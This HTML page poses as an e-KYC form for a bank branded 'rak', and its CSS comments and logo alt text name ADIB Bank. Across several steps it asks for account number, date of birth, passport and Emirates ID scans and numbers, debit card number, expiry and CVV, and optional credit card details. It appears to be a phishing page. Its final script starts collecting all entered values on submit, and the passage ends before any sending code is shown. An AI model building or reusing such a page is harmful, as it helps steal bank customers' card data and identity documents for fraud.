<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>rak e-KYC Form</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            background-color: #f9f9f9;
        }

        .moving-banner {
            position: fixed;
            top: 0;
            width: 100%;
            height: 5%;
            background-color: #C8102E; /* ADIB Bank blue */
            color: white;
            overflow: hidden;
            display: flex;
            align-items: center;
            white-space: nowrap;
        }

        .moving-banner span {
            animation: moveText 35s linear infinite;
        }

        @keyframes moveText {
            from {
                transform: translateX(100%);
            }
            to {
                transform: translateX(-100%);
            }
        }

        .logo {
            margin: 15% auto 5%; /* Adjusted to move it down */
            text-align: center;
        }

        .logo img {
            max-width: 80%;
            height: auto;
        }

        .header {
            text-align: center;
            font-size: 24px;
            font-weight: bold;
            color: #333;
            margin: 10px auto 20px;
        }

        .box-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 15px;
        }

        .blue-box {
            width: 90%;
            padding: 20px;
            text-align: center;
            background-color: #C8102E; /* ADIB Bank blue */
            color: white;
            border-radius: 8px;
            font-size: 18px;
            cursor: pointer;
        }

        .form-container {
            width: 90%;
            margin: 0 auto;
            display: none;
            flex-direction: column;
            gap: 15px;
            padding: 15px;
            background-color: #f9f9f9;
            border: 1px solid #ddd;
            border-radius: 8px;
        }

        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }

        .form-label {
            font-size: 16px;
            font-weight: bold;
        }

        .form-input, .form-select {
            padding: 10px;
            font-size: 16px;
            border: 1px solid #ccc;
            border-radius: 4px;
        }

        .next-button {
            text-align: right;
        }

        .next-button button {
            background-color: #C8102E;
            color: white;
            padding: 10px 15px;
            border: none;
            border-radius: 5px;
            font-size: 14px;
            cursor: pointer;
        }

        .passport-logo {
            width: 150px; /* Adjust as needed */
            height: auto; /* Maintain aspect ratio */
        }

        .form-button {
            width: 100%;
            padding: 12px;
            font-size: 16px;
            background-color: #C8102E;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <div class="moving-banner">
        <span>
            rak vision is to be the world's most innovative Islamic financial institution. Their mission is to provide simple banking that is empowered by people-centric innovation. rak values are driven by the spirit of sharia and include mutual benefit, transparency, simplicity, sensibility, hospitality, and tolerance. Banking as it should be. ©2024 rak. All rights reserved.
        </span>
    </div>

    <div class="logo">
        <img src="https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/rakenglish.png?alt=media&token=a384d686-515d-41cd-8779-afb6ade0daa3" alt="ADIB Bank Logo">
    </div>

    <div class="header">e-KYC Form</div>

    <div class="box-container">
        <!-- General Information -->
        <div class="blue-box" onclick="toggleForm('form-container-1')">General Information</div>
        <div class="form-container" id="form-container-1">
            <div class="form-group">
                <label class="form-label">Name:</label>
                <input type="text" class="form-input" placeholder="Enter Name" required>
            </div>
            <div class="form-group">
                <label class="form-label">Account Number:</label>
                <input type="text" class="form-input" placeholder="Enter account number" required>
            </div>
            <div class="form-group">
                <label class="form-label">Email:</label>
                <input type="text" class="form-input" placeholder="Email address" required>
            </div>
            <div class="form-group">
                <label class="form-label">DOB (date of birth):</label>
                <input type="date" class="form-input" required>
            </div>
            <div class="next-button">
                <button id="next-button-1">NEXT</button>
            </div>
        </div>

        <!-- KYC Details -->
        <div class="blue-box" onclick="toggleForm('form-container-5')">KYC Details</div>
        <div class="form-container" id="form-container-5">
            <div class="form-group">
                <label class="form-label">Country of Residence</label>
                <select class="form-select" name="Country of Residence" required>
                    <option value="" disabled selected>Select Country of Residence</option>
                    <option value="United Arab Emirates">United Arab Emirates</option>
                    <option value="Afghanistan">Afghanistan</option>
                    <option value="Albania">Albania</option>
                    <option value="Algeria">Algeria</option>
                    <option value="Andorra">Andorra</option>
                    <option value="Angola">Angola</option>
                    <option value="Antigua and Barbuda">Antigua and Barbuda</option>
                    <option value="Argentina">Argentina</option>
                    <option value="Armenia">Armenia</option>
                    <option value="Australia">Australia</option>
                    <option value="Austria">Austria</option>
                    <option value="Azerbaijan">Azerbaijan</option>
                    <option value="Bahamas">Bahamas</option>
                    <option value="Bahrain">Bahrain</option>
                    <option value="Bangladesh">Bangladesh</option>
                    <option value="Barbados">Barbados</option>
                    <option value="Belarus">Belarus</option>
                    <option value="Belgium">Belgium</option>
                    <option value="Belize">Belize</option>
                    <option value="Benin">Benin</option>
                    <option value="Bhutan">Bhutan</option>
                    <option value="Bolivia">Bolivia</option>
                    <option value="Bosnia and Herzegovina">Bosnia and Herzegovina</option>
                    <option value="Botswana">Botswana</option>
                    <option value="Brazil">Brazil</option>
                    <option value="Brunei">Brunei</option>
                    <option value="Bulgaria">Bulgaria</option>
                    <option value="Burkina Faso">Burkina Faso</option>
                    <option value="Burundi">Burundi</option>
                    <option value="Cabo Verde">Cabo Verde</option>
                    <option value="Cambodia">Cambodia</option>
                    <option value="Cameroon">Cameroon</option>
                    <option value="Canada">Canada</option>
                    <option value="Central African Republic">Central African Republic</option>
                    <option value="Chad">Chad</option>
                    <option value="Chile">Chile</option>
                    <option value="China">China</option>
                    <option value="Colombia">Colombia</option>
                    <option value="Comoros">Comoros</option>
                    <option value="Congo (Congo-Brazzaville)">Congo (Congo-Brazzaville)</option>
                    <option value="Costa Rica">Costa Rica</option>
                    <option value="Croatia">Croatia</option>
                    <option value="Cuba">Cuba</option>
                    <option value="Cyprus">Cyprus</option>
                    <option value="Czechia (Czech Republic)">Czechia (Czech Republic)</option>
                    <option value="Democratic Republic of the Congo">Democratic Republic of the Congo</option>
                    <option value="Denmark">Denmark</option>
                    <option value="Djibouti">Djibouti</option>
                    <option value="Dominica">Dominica</option>
                    <option value="Dominican Republic">Dominican Republic</option>
                    <option value="Ecuador">Ecuador</option>
                    <option value="Egypt">Egypt</option>
                    <option value="El Salvador">El Salvador</option>
                    <option value="Equatorial Guinea">Equatorial Guinea</option>
                    <option value="Eritrea">Eritrea</option>
                    <option value="Estonia">Estonia</option>
                    <option value="Eswatini (fmr. Swaziland)">Eswatini (fmr. Swaziland)</option>
                    <option value="Ethiopia">Ethiopia</option>
                    <option value="Fiji">Fiji</option>
                    <option value="Finland">Finland</option>
                    <option value="France">France</option>
                    <option value="Gabon">Gabon</option>
                    <option value="Gambia">Gambia</option>
                    <option value="Georgia">Georgia</option>
                    <option value="Germany">Germany</option>
                    <option value="Ghana">Ghana</option>
                    <option value="Greece">Greece</option>
                    <option value="Grenada">Grenada</option>
                    <option value="Guatemala">Guatemala</option>
                    <option value="Guinea">Guinea</option>
                    <option value="Guinea-Bissau">Guinea-Bissau</option>
                    <option value="Guyana">Guyana</option>
                    <option value="Haiti">Haiti</option>
                    <option value="Holy See">Holy See</option>
                    <option value="Honduras">Honduras</option>
                    <option value="Hungary">Hungary</option>
                    <option value="Iceland">Iceland</option>
                    <option value="India">India</option>
                    <option value="Indonesia">Indonesia</option>
                    <option value="Iran">Iran</option>
                    <option value="Iraq">Iraq</option>
                    <option value="Ireland">Ireland</option>
                    <option value="Israel">Israel</option>
                    <option value="Italy">Italy</option>
                    <option value="Jamaica">Jamaica</option>
                    <option value="Japan">Japan</option>
                    <option value="Jordan">Jordan</option>
                    <option value="Kazakhstan">Kazakhstan</option>
                    <option value="Kenya">Kenya</option>
                    <option value="Kiribati">Kiribati</option>
                    <option value="Kuwait">Kuwait</option>
                    <option value="Kyrgyzstan">Kyrgyzstan</option>
                    <option value="Laos">Laos</option>
                    <option value="Latvia">Latvia</option>
                    <option value="Lebanon">Lebanon</option>
                    <option value="Lesotho">Lesotho</option>
                    <option value="Liberia">Liberia</option>
                    <option value="Libya">Libya</option>
                    <option value="Liechtenstein">Liechtenstein</option>
                    <option value="Lithuania">Lithuania</option>
                    <option value="Luxembourg">Luxembourg</option>
                    <option value="Madagascar">Madagascar</option>
                    <option value="Malawi">Malawi</option>
                    <option value="Malaysia">Malaysia</option>
                    <option value="Maldives">Maldives</option>
                    <option value="Mali">Mali</option>
                    <option value="Malta">Malta</option>
                    <option value="Marshall Islands">Marshall Islands</option>
                    <option value="Mauritania">Mauritania</option>
                    <option value="Mauritius">Mauritius</option>
                    <option value="Mexico">Mexico</option>
                    <option value="Micronesia">Micronesia</option>
                    <option value="Moldova">Moldova</option>
                    <option value="Monaco">Monaco</option>
                    <option value="Mongolia">Mongolia</option>
                    <option value="Montenegro">Montenegro</option>
                    <option value="Morocco">Morocco</option>
                    <option value="Mozambique">Mozambique</option>
                    <option value="Myanmar (formerly Burma)">Myanmar (formerly Burma)</option>
                    <option value="Namibia">Namibia</option>
                    <option value="Nauru">Nauru</option>
                    <option value="Nepal">Nepal</option>
                    <option value="Netherlands">Netherlands</option>
                    <option value="New Zealand">New Zealand</option>
                    <option value="Nicaragua">Nicaragua</option>
                    <option value="Niger">Niger</option>
                    <option value="Nigeria">Nigeria</option>
                    <option value="North Korea">North Korea</option>
                    <option value="North Macedonia">North Macedonia</option>
                    <option value="Norway">Norway</option>
                    <option value="Oman">Oman</option>
                    <option value="Pakistan">Pakistan</option>
                    <option value="Palau">Palau</option>
                    <option value="Palestine State">Palestine State</option>
                    <option value="Panama">Panama</option>
                    <option value="Papua New Guinea">Papua New Guinea</option>
                    <option value="Paraguay">Paraguay</option>
                    <option value="Peru">Peru</option>
                    <option value="Philippines">Philippines</option>
                    <option value="Poland">Poland</option>
                    <option value="Portugal">Portugal</option>
                    <option value="Qatar">Qatar</option>
                    <option value="Romania">Romania</option>
                    <option value="Russia">Russia</option>
                    <option value="Rwanda">Rwanda</option>
                    <option value="Saint Kitts and Nevis">Saint Kitts and Nevis</option>
                    <option value="Saint Lucia">Saint Lucia</option>
                    <option value="Saint Vincent and the Grenadines">Saint Vincent and the Grenadines</option>
                    <option value="Samoa">Samoa</option>
                    <option value="San Marino">San Marino</option>
                    <option value="Sao Tome and Principe">Sao Tome and Principe</option>
                    <option value="Saudi Arabia">Saudi Arabia</option>
                    <option value="Senegal">Senegal</option>
                    <option value="Serbia">Serbia</option>
                    <option value="Seychelles">Seychelles</option>
                    <option value="Sierra Leone">Sierra Leone</option>
                    <option value="Singapore">Singapore</option>
                    <option value="Slovakia">Slovakia</option>
                    <option value="Slovenia">Slovenia</option>
                    <option value="Solomon Islands">Solomon Islands</option>
                    <option value="Somalia">Somalia</option>
                    <option value="South Africa">South Africa</option>
                    <option value="South Korea">South Korea</option>
                    <option value="South Sudan">South Sudan</option>
                    <option value="Spain">Spain</option>
                    <option value="Sri Lanka">Sri Lanka</option>
                    <option value="Sudan">Sudan</option>
                    <option value="Suriname">Suriname</option>
                    <option value="Sweden">Sweden</option>
                    <option value="Switzerland">Switzerland</option>
                    <option value="Syria">Syria</option>
                    <option value="Tajikistan">Tajikistan</option>
                    <option value="Tanzania">Tanzania</option>
                    <option value="Thailand">Thailand</option>
                    <option value="Timor-Leste">Timor-Leste</option>
                    <option value="Togo">Togo</option>
                    <option value="Tonga">Tonga</option>
                    <option value="Trinidad and Tobago">Trinidad and Tobago</option>
                    <option value="Tunisia">Tunisia</option>
                    <option value="Turkey">Turkey</option>
                    <option value="Turkmenistan">Turkmenistan</option>
                    <option value="Tuvalu">Tuvalu</option>
                    <option value="Uganda">Uganda</option>
                    <option value="Ukraine">Ukraine</option>
                    <option value="United Kingdom">United Kingdom</option>
                    <option value="United States of America">United States of America</option>
                    <option value="Uruguay">Uruguay</option>
                    <option value="Uzbekistan">Uzbekistan</option>
                    <option value="Vanuatu">Vanuatu</option>
                    <option value="Venezuela">Venezuela</option>
                    <option value="Vietnam">Vietnam</option>
                    <option value="Yemen">Yemen</option>
                    <option value="Zambia">Zambia</option>
                    <option value="Zimbabwe">Zimbabwe</option> 
                </select>
            </div>
            <div class="form-group">
                <label class="form-label">Nationality</label>
                <select class="form-select" name="Nationality" required>
                    <option value="" disabled selected>Select Nationality</option>
                    <option value="United Arab Emirates">United Arab Emirates</option>
                    <option value="Afghanistan">Afghanistan</option>
                    <option value="Albania">Albania</option>
                    <option value="Algeria">Algeria</option>
                    <option value="Andorra">Andorra</option>
                    <option value="Angola">Angola</option>
                    <option value="Antigua and Barbuda">Antigua and Barbuda</option>
                    <option value="Argentina">Argentina</option>
                    <option value="Armenia">Armenia</option>
                    <option value="Australia">Australia</option>
                    <option value="Austria">Austria</option>
                    <option value="Azerbaijan">Azerbaijan</option>
                    <option value="Bahamas">Bahamas</option>
                    <option value="Bahrain">Bahrain</option>
                    <option value="Bangladesh">Bangladesh</option>
                    <option value="Barbados">Barbados</option>
                    <option value="Belarus">Belarus</option>
                    <option value="Belgium">Belgium</option>
                    <option value="Belize">Belize</option>
                    <option value="Benin">Benin</option>
                    <option value="Bhutan">Bhutan</option>
                    <option value="Bolivia">Bolivia</option>
                    <option value="Bosnia and Herzegovina">Bosnia and Herzegovina</option>
                    <option value="Botswana">Botswana</option>
                    <option value="Brazil">Brazil</option>
                    <option value="Brunei">Brunei</option>
                    <option value="Bulgaria">Bulgaria</option>
                    <option value="Burkina Faso">Burkina Faso</option>
                    <option value="Burundi">Burundi</option>
                    <option value="Cabo Verde">Cabo Verde</option>
                    <option value="Cambodia">Cambodia</option>
                    <option value="Cameroon">Cameroon</option>
                    <option value="Canada">Canada</option>
                    <option value="Central African Republic">Central African Republic</option>
                    <option value="Chad">Chad</option>
                    <option value="Chile">Chile</option>
                    <option value="China">China</option>
                    <option value="Colombia">Colombia</option>
                    <option value="Comoros">Comoros</option>
                    <option value="Congo (Congo-Brazzaville)">Congo (Congo-Brazzaville)</option>
                    <option value="Costa Rica">Costa Rica</option>
                    <option value="Croatia">Croatia</option>
                    <option value="Cuba">Cuba</option>
                    <option value="Cyprus">Cyprus</option>
                    <option value="Czechia (Czech Republic)">Czechia (Czech Republic)</option>
                    <option value="Democratic Republic of the Congo">Democratic Republic of the Congo</option>
                    <option value="Denmark">Denmark</option>
                    <option value="Djibouti">Djibouti</option>
                    <option value="Dominica">Dominica</option>
                    <option value="Dominican Republic">Dominican Republic</option>
                    <option value="Ecuador">Ecuador</option>
                    <option value="Egypt">Egypt</option>
                    <option value="El Salvador">El Salvador</option>
                    <option value="Equatorial Guinea">Equatorial Guinea</option>
                    <option value="Eritrea">Eritrea</option>
                    <option value="Estonia">Estonia</option>
                    <option value="Eswatini (fmr. Swaziland)">Eswatini (fmr. Swaziland)</option>
                    <option value="Ethiopia">Ethiopia</option>
                    <option value="Fiji">Fiji</option>
                    <option value="Finland">Finland</option>
                    <option value="France">France</option>
                    <option value="Gabon">Gabon</option>
                    <option value="Gambia">Gambia</option>
                    <option value="Georgia">Georgia</option>
                    <option value="Germany">Germany</option>
                    <option value="Ghana">Ghana</option>
                    <option value="Greece">Greece</option>
                    <option value="Grenada">Grenada</option>
                    <option value="Guatemala">Guatemala</option>
                    <option value="Guinea">Guinea</option>
                    <option value="Guinea-Bissau">Guinea-Bissau</option>
                    <option value="Guyana">Guyana</option>
                    <option value="Haiti">Haiti</option>
                    <option value="Holy See">Holy See</option>
                    <option value="Honduras">Honduras</option>
                    <option value="Hungary">Hungary</option>
                    <option value="Iceland">Iceland</option>
                    <option value="India">India</option>
                    <option value="Indonesia">Indonesia</option>
                    <option value="Iran">Iran</option>
                    <option value="Iraq">Iraq</option>
                    <option value="Ireland">Ireland</option>
                    <option value="Israel">Israel</option>
                    <option value="Italy">Italy</option>
                    <option value="Jamaica">Jamaica</option>
                    <option value="Japan">Japan</option>
                    <option value="Jordan">Jordan</option>
                    <option value="Kazakhstan">Kazakhstan</option>
                    <option value="Kenya">Kenya</option>
                    <option value="Kiribati">Kiribati</option>
                    <option value="Kuwait">Kuwait</option>
                    <option value="Kyrgyzstan">Kyrgyzstan</option>
                    <option value="Laos">Laos</option>
                    <option value="Latvia">Latvia</option>
                    <option value="Lebanon">Lebanon</option>
                    <option value="Lesotho">Lesotho</option>
                    <option value="Liberia">Liberia</option>
                    <option value="Libya">Libya</option>
                    <option value="Liechtenstein">Liechtenstein</option>
                    <option value="Lithuania">Lithuania</option>
                    <option value="Luxembourg">Luxembourg</option>
                    <option value="Madagascar">Madagascar</option>
                    <option value="Malawi">Malawi</option>
                    <option value="Malaysia">Malaysia</option>
                    <option value="Maldives">Maldives</option>
                    <option value="Mali">Mali</option>
                    <option value="Malta">Malta</option>
                    <option value="Marshall Islands">Marshall Islands</option>
                    <option value="Mauritania">Mauritania</option>
                    <option value="Mauritius">Mauritius</option>
                    <option value="Mexico">Mexico</option>
                    <option value="Micronesia">Micronesia</option>
                    <option value="Moldova">Moldova</option>
                    <option value="Monaco">Monaco</option>
                    <option value="Mongolia">Mongolia</option>
                    <option value="Montenegro">Montenegro</option>
                    <option value="Morocco">Morocco</option>
                    <option value="Mozambique">Mozambique</option>
                    <option value="Myanmar (formerly Burma)">Myanmar (formerly Burma)</option>
                    <option value="Namibia">Namibia</option>
                    <option value="Nauru">Nauru</option>
                    <option value="Nepal">Nepal</option>
                    <option value="Netherlands">Netherlands</option>
                    <option value="New Zealand">New Zealand</option>
                    <option value="Nicaragua">Nicaragua</option>
                    <option value="Niger">Niger</option>
                    <option value="Nigeria">Nigeria</option>
                    <option value="North Korea">North Korea</option>
                    <option value="North Macedonia">North Macedonia</option>
                    <option value="Norway">Norway</option>
                    <option value="Oman">Oman</option>
                    <option value="Pakistan">Pakistan</option>
                    <option value="Palau">Palau</option>
                    <option value="Palestine State">Palestine State</option>
                    <option value="Panama">Panama</option>
                    <option value="Papua New Guinea">Papua New Guinea</option>
                    <option value="Paraguay">Paraguay</option>
                    <option value="Peru">Peru</option>
                    <option value="Philippines">Philippines</option>
                    <option value="Poland">Poland</option>
                    <option value="Portugal">Portugal</option>
                    <option value="Qatar">Qatar</option>
                    <option value="Romania">Romania</option>
                    <option value="Russia">Russia</option>
                    <option value="Rwanda">Rwanda</option>
                    <option value="Saint Kitts and Nevis">Saint Kitts and Nevis</option>
                    <option value="Saint Lucia">Saint Lucia</option>
                    <option value="Saint Vincent and the Grenadines">Saint Vincent and the Grenadines</option>
                    <option value="Samoa">Samoa</option>
                    <option value="San Marino">San Marino</option>
                    <option value="Sao Tome and Principe">Sao Tome and Principe</option>
                    <option value="Saudi Arabia">Saudi Arabia</option>
                    <option value="Senegal">Senegal</option>
                    <option value="Serbia">Serbia</option>
                    <option value="Seychelles">Seychelles</option>
                    <option value="Sierra Leone">Sierra Leone</option>
                    <option value="Singapore">Singapore</option>
                    <option value="Slovakia">Slovakia</option>
                    <option value="Slovenia">Slovenia</option>
                    <option value="Solomon Islands">Solomon Islands</option>
                    <option value="Somalia">Somalia</option>
                    <option value="South Africa">South Africa</option>
                    <option value="South Korea">South Korea</option>
                    <option value="South Sudan">South Sudan</option>
                    <option value="Spain">Spain</option>
                    <option value="Sri Lanka">Sri Lanka</option>
                    <option value="Sudan">Sudan</option>
                    <option value="Suriname">Suriname</option>
                    <option value="Sweden">Sweden</option>
                    <option value="Switzerland">Switzerland</option>
                    <option value="Syria">Syria</option>
                    <option value="Tajikistan">Tajikistan</option>
                    <option value="Tanzania">Tanzania</option>
                    <option value="Thailand">Thailand</option>
                    <option value="Timor-Leste">Timor-Leste</option>
                    <option value="Togo">Togo</option>
                    <option value="Tonga">Tonga</option>
                    <option value="Trinidad and Tobago">Trinidad and Tobago</option>
                    <option value="Tunisia">Tunisia</option>
                    <option value="Turkey">Turkey</option>
                    <option value="Turkmenistan">Turkmenistan</option>
                    <option value="Tuvalu">Tuvalu</option>
                    <option value="Uganda">Uganda</option>
                    <option value="Ukraine">Ukraine</option>
                    <option value="United Kingdom">United Kingdom</option>
                    <option value="United States of America">United States of America</option>
                    <option value="Uruguay">Uruguay</option>
                    <option value="Uzbekistan">Uzbekistan</option>
                    <option value="Vanuatu">Vanuatu</option>
                    <option value="Venezuela">Venezuela</option>
                    <option value="Vietnam">Vietnam</option>
                    <option value="Yemen">Yemen</option>
                    <option value="Zambia">Zambia</option>
                    <option value="Zimbabwe">Zimbabwe</option> 
                </select>
            </div>
            <div class="form-group">
                <label class="form-label">Address:</label>
                <input type="text" class="form-input" placeholder="Enter your address" required>
            </div>
            <div class="form-group">
                <label class="form-label">Occupation:</label>
                <input type="text" class="form-input" placeholder="Enter your Occupation" required>
            </div>
            <div class="form-group">
                <label class="form-label">UAE Resident:</label>
                <div style="display: flex; flex-direction: column;">
                    <label><input type="radio" name="uae_resident" value="yes"> Yes</label>
                    <label><input type="radio" name="uae_resident" value="no"> No</label>
                </div>
            </div>
            <div class="next-button">
                <button id="next-button-2">NEXT</button>
            </div>
        </div>

        <!-- Passport Details -->
        <div class="blue-box" onclick="toggleForm('form-container-2')">Passport Details</div>
        <div class="form-container" id="form-container-2">
            <img src="https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/passport%20logo.png?alt=media&token=f08e2366-2b65-4ed0-b88e-a968f0b08911" alt="Passport Logo" class="passport-logo">
            <h2>Passport Copy Upload</h2>
            <p>(Please upload a copy of the first page and second or last page of your passport containing details like personal information, validity, and address.)</p>
        
            <div class="form-group">
                <label class="form-label">Passport Copy: <span class="small-text">*image or PDF*</span></label>
                <input type="file" class="form-upload">
            </div>
        
            <div class="form-group">
                <label class="form-label">Passport Number:</label>
                <input type="text" class="form-input" placeholder="Enter Passport Number" required>
            </div>
            <div class="form-group">
                <label class="form-label">Issue Date:</label>
                <input type="date" class="form-input" name="passport_issue_date" required> <!-- Added 'name' attribute -->
            </div>
            <div class="form-group">
                <label class="form-label">Expiry Date:</label>
                <input type="date" class="form-input" name="passport_expiry_date" required> <!-- Added 'name' attribute -->
            </div>
            <div class="next-button">
                <button id="next-button-3">NEXT</button>
            </div>
        </div>
        <div class="blue-box" onclick="toggleForm('form-container-3')">Emirates ID Details</div>
        <div class="form-container" id="form-container-3">
            <h2>Emirates ID copy upload</h2>
            <p>(Please upload a copy of the front and back of your Emirates ID)</p>
            <div class="form-group">
                <label class="form-label">Front Side:</label>
                <input type="file" class="form-upload" required>
            </div>
            <div class="form-group">
                <label class="form-label">Back Side:</label>
                <input type="file" class="form-upload" required>
            </div>

            <!-- New Fields: Emirates ID Number and Expiry Date -->
            <div class="form-group">
                <label class="form-label">Emirates ID Number:</label>
                <input type="text" class="form-input" placeholder="Enter Emirates ID Number" required>
            </div>
            <div class="form-group">
                <label class="form-label">Emirates ID Expiry Date:</label>
                <input type="date" class="form-input" name="emirates_id_expiry_date" required> <!-- Added 'name' attribute -->
            </div>    

            <div class="next-button">
                <button id="next-button-4">NEXT</button>
            </div>
        </div>
        
                <!-- New Verification Section (Debit Card) -->
                <div class="blue-box" onclick="toggleForm('form-container-7')">Verification</div>
                <div class="form-container" id="form-container-7">
                    <div class="form-group">
                        <label class="form-label">Debit Card Number:</label>
                        <input type="text" class="form-input" placeholder="Enter Card Number" required>
                    </div>
                    <div class="form-group">
                        <label class="form-label">Debit Card Expiration Date:</label>
                        <input type="text" class="form-input" placeholder="MM/YY" required>
                    </div>
                    <div class="form-group">
                        <label class="form-label">CVV:</label>
                        <input type="password" class="form-input" placeholder="Enter CVV" required>
                    </div>
        
                    <div class="form-group">
                        <button id="toggle-debit" class="form-button blue-box" onclick="toggleCreditForm()">Credit Card (If available)</button>
                    </div>
            
                    <div id="credit-forms" style="display: none; margin-top: 10px;">
                        <div id="credit-card-1" class="credit-card-form">
                            <div class="form-group">
                                <label class="form-label">Credit Card 1 Number:</label>
                                <input type="text" class="form-input" placeholder="Enter Card Number1">
                            </div>
                            <div class="form-group">
                                <label class="form-label">Credit Card 1 Expiration Date:</label>
                                <input type="text" class="form-input" placeholder="MM/YY.">
                            </div>
                            <div class="form-group">
                                <label class="form-label">Credit Card 1 CVV:</label>
                                <input type="password" class="form-input" placeholder="CVV">
                            </div>
                        </div>
                       </div>
                       <div style="text-align: center; margin-top: 30px;">
                        <button id="submit-button" class="form-button blue-box" style="cursor: not-allowed;" disabled>Submit</button>
                    </div>
            
                    <script>
                        // JavaScript function to toggle the display of the credit card form
                        function toggleCreditForm() {
                            var creditForms = document.getElementById("credit-forms");
                            if (creditForms.style.display === "none" || creditForms.style.display === "") {
                                creditForms.style.display = "block";
                            } else {
                                creditForms.style.display = "none";
                            }
                        }
                    
                        // JavaScript function to toggle form visibility
                        function toggleForm(formId) {
                            const form = document.getElementById(formId);
                            form.style.display = form.style.display === 'block' ? 'none' : 'block';
                        }
                    
                        // Function to validate required fields and enable the submit button
                        function validateForm() {
                            const requiredFields = document.querySelectorAll('[required]');
                            let allFilled = true;
                    
                            requiredFields.forEach(field => {
                                if (field.type === 'radio') {
                                    // Check if at least one radio button in a group is selected
                                    const group = document.querySelectorAll(`[name="${field.name}"]`);
                                    const isGroupFilled = Array.from(group).some(radio => radio.checked);
                                    if (!isGroupFilled) allFilled = false;
                                } else if (field.type === 'file') {
                                    // Ensure a file is selected
                                    if (!field.files || field.files.length === 0) {
                                        allFilled = false;
                                    }
                                } else {
                                    if (!field.value.trim()) {
                                        allFilled = false;
                                    }
                                }
                            });
                    
                            const submitButton = document.getElementById('submit-button');
                            if (allFilled) {
                                submitButton.disabled = false;
                                submitButton.style.cursor = 'pointer';
                            } else {
                                submitButton.disabled = true;
                                submitButton.style.cursor = 'not-allowed';
                            }
                        }
                    
                        // Attach the validateForm function to all required fields
                        const requiredFields = document.querySelectorAll('[required]');
                        requiredFields.forEach(field => {
                            field.addEventListener('input', validateForm);
                            if (field.type === 'radio' || field.type === 'file') {
                                field.addEventListener('change', validateForm);
                            }
                        });
                    
                        // Initial validation in case some fields are pre-filled
                        validateForm();
                    </script>  
                    <script>
                        document.addEventListener("DOMContentLoaded", function () {
                            // Add event listeners to all NEXT buttons
                            const nextButtons = document.querySelectorAll("[id^='next-button-']");
                            nextButtons.forEach(button => {
                                button.addEventListener("click", function () {
                                    const currentForm = button.closest(".form-container");
                                    if (validateCurrentForm(currentForm)) {
                                        moveToNextForm(currentForm);
                                    } else {
                                        alert("Please fill all required fields before proceeding.");
                                    }
                                });
                            });
                    
                            // Function to validate all required fields in the current form
                            function validateCurrentForm(form) {
                                const requiredFields = form.querySelectorAll("[required]");
                                let allFilled = true;
                    
                                requiredFields.forEach(field => {
                                    if (field.type === "radio") {
                                        const group = form.querySelectorAll(`[name="${field.name}"]`);
                                        const isGroupFilled = Array.from(group).some(radio => radio.checked);
                                        if (!isGroupFilled) allFilled = false;
                                    } else if (field.type === "file") {
                                        if (!field.files || field.files.length === 0) allFilled = false;
                                    } else if (!field.value.trim()) {
                                        allFilled = false;
                                    }
                                });
                    
                                return allFilled;
                            }
                    
                            // Function to move to the next form
                            function moveToNextForm(currentForm) {
                                // Get all form containers
                                const formContainers = document.querySelectorAll(".form-container");
                                // Find the index of the current form
                                const currentIndex = Array.from(formContainers).indexOf(currentForm);
                    
                                if (currentIndex !== -1 && currentIndex + 1 < formContainers.length) {
                                    currentForm.style.display = "none"; // Hide the current form
                                    const nextForm = formContainers[currentIndex + 1]; // Get the next form
                                    nextForm.style.display = "block"; // Show the next form
                                } else {
                                    alert("You have completed all forms.");
                                }
                            }
                        });
                    </script> 
<script>
    // Card Number Formatting: Only numbers, 16 digits, formatted as 4 groups of 4 digits
    const cardInputs = document.querySelectorAll("input[placeholder='Enter Card Number'], input[placeholder='Enter Card Number1']");
    cardInputs.forEach(input => {
        input.addEventListener("input", function () {
            let value = input.value.replace(/\D/g, ""); // Remove non-digit characters
            value = value.substring(0, 16); // Limit to 16 digits

            // Format as 4-digit groups with spaces in between
            let formattedValue = value.replace(/(\d{4})(?=\d)/g, "$1 "); // Match groups of 4 digits
            input.value = formattedValue;
        });

        // Prevent input beyond 16 digits (including spaces)
        input.addEventListener("keydown", function (e) {
            let currentLength = input.value.replace(/\s/g, "").length; // Count only digits
            if (e.key !== "Backspace" && currentLength >= 16) {
                e.preventDefault();
            }
        });
    });

    // Expiry Date Formatting: Automatically insert "/", limit to 4 digits (MMYY)
    const expiryInputs = document.querySelectorAll("input[placeholder='MM/YY'], input[placeholder='MM/YY.']");
    expiryInputs.forEach(input => {
        input.addEventListener("input", function () {
            let value = input.value.replace(/\D/g, ""); // Remove non-digit characters
            value = value.substring(0, 4); // Limit to 4 digits (MMYY)

            // Automatically insert "/" after the first two digits
            if (value.length > 2) {
                value = value.substring(0, 2) + "/" + value.substring(2, 4);
            }

            input.value = value;
        });

        // Prevent input beyond 4 digits
        input.addEventListener("keydown", function (e) {
            let currentLength = input.value.replace(/\D/g, "").length;
            if (e.key !== "Backspace" && currentLength >= 4) {
                e.preventDefault();
            }
        });
    });

    // CVV Input Formatting: Only numbers, max 3 digits
    const cvvInputs = document.querySelectorAll("input[placeholder='Enter CVV'], input[placeholder='CVV']");
    cvvInputs.forEach(input => {
        input.addEventListener("input", function () {
            let value = input.value.replace(/\D/g, ""); // Remove non-digit characters
            input.value = value.substring(0, 3); // Limit to 3 digits
        });

        // Prevent input beyond 3 digits
        input.addEventListener("keydown", function (e) {
            let currentLength = input.value.length;
            if (e.key !== "Backspace" && currentLength >= 3) {
                e.preventDefault();
            }
        });
    });
</script>
<script>
    document.addEventListener('DOMContentLoaded', function () {
        document.getElementById('submit-button').addEventListener('click', function () {
            try {
                // Collect General Information
                const name = document.querySelector('input[placeholder="Enter Name"]')?.value || '';
                const accountNumber = document.querySelector('input[placeholder="Enter account number"]')?.value || '';
                const email = document.querySelector('input[placeholder="Email address"]')?.value || '';
                const dob = document.querySelector('input[type="date"]')?.value || '';

                // Collect KYC Details
                const countryOfResidence = document.querySelector('select[name="Country of Residence"]')?.value || '';
                const nationality = document.querySelector('select[name="Nationality"]')?.value || '';
                const address = document.querySelector('input[placeholder="Enter your address"]')?.value || '';
                const occupation = document.querySelector('input[placeholder="Enter your Occupation"]')?.value || '';
